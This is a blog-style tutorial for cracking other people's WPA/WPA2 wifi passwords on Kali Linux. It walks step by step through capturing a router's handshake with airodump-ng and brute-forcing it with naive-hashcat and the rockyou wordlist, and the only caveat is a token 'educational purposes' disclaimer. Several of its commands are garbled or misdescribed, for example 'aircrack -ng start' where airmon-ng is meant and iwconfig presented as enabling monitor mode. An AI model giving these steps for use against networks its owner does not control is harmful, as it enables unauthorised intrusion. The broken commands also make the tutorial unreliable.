Wifi Hacking is never so easy but with perfect tools and little bit of patience nothing is impossible. So in this tutorial I will show you how to hack WPA/WPA2 wifi using kali linux and just some commands. So without any delay lets get started.
Note : This Article is for Educational Purposes only. We do not promote any illegal activity if you get into any kind of trouble we are not responsible for that.
How to hack WPA/WPA2 protected wifi using Kali Linux ?
Pre-requisites / What you will need to successfully hack anyone’s wifi :
- A Personal Computer
- Kali linux
- Wifi Adapter
If you don’t have kali linux downloaded and installed download it here.
Steps to Hack wifi using Kali linux OS :
Before staring out i assumed you have kali linux 2015.1 or later installed.
- Firstly, open up your terminal by pressing ALT+CTRL+T and plugin your wifi adapter into the system.
- Now type the this command to install AIRCRACK (Aircrack is the tool for kali linux use to monitor the wifi’s available nearby). Command : sudo apt-get install aircrack -ng.
- sudo will give your terminal root access so that you can control it better. Enter your password when prompted, the password you use to login to you PC.
- It may ask you to confirm installation of aircrack, say yes by typing Y.
- Now as aircrack -ng is installed on your pc and it can monitor the wifi’s, Access it by typing following command aircrack -ng.
- Find the wifi you want to monitor it will look like wlan0.
- Once you find the wifi name start monitoring by typing aircrack -ng start your_targeted_wifi.
- Now next thing is to enable a monitor interface iwconfig.
- Now there will be your monitor interface name which will listen to nearby routers. For eg : mon0 or wlan0mon.
- We need to listen to all nearby routers and to get the list of all in range type : airodump -ng your_monitor_interface_name.
- Make sure the router is using WPA/WPA2 protection.
- Also see the Mac Address and channel no of the router you want to hack, this will be at left of the router name.
- Now monitor your router for the Handshake type : airodump -ng -c channel –bssid MAC -w /root/Desktop/ mon0.
- Replace channel, mac and router name with your targeted one’s details and proceed further.
- Once you see a line with WPA HANDSHAKE with mac address on your upper right screen, the handshake is done.
- Exit airodump -ng and open desktop, you will see a file with .cap extension on your desktop.
- Rename your .cap extension file to anything you want.
- Convert the .cap file into .hccapx format by kali linux converter with following command cap2hccapx.bin name.cap name.hccapx, Replace name with your own file name.
- Now the last thing we need to do is to install naive -hashcat, this is used to parse passwords out of the file, type below commands one by one. Commands : 1) sudo git clone https://github.com/brannondorsey/naive-hashcat 2) cd naive -hashcat 3) curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
- Now Run naive -hashcat once it finish installation run the following command : HASH_FILE=name.hccapx POT_FILE=name.pot HASH_TYPE=2500 ./naive-hashcat.sh
- Now wait for the password to be cracked, once it is cracked it will be in the name.pot file in naive -hascat folder. It can take any time to crack the password few hours, few days, have patience and you will successfully hack wifi using kali linux.
Happy Hacking !
For other posts subscribe to notifications and check out the Home page.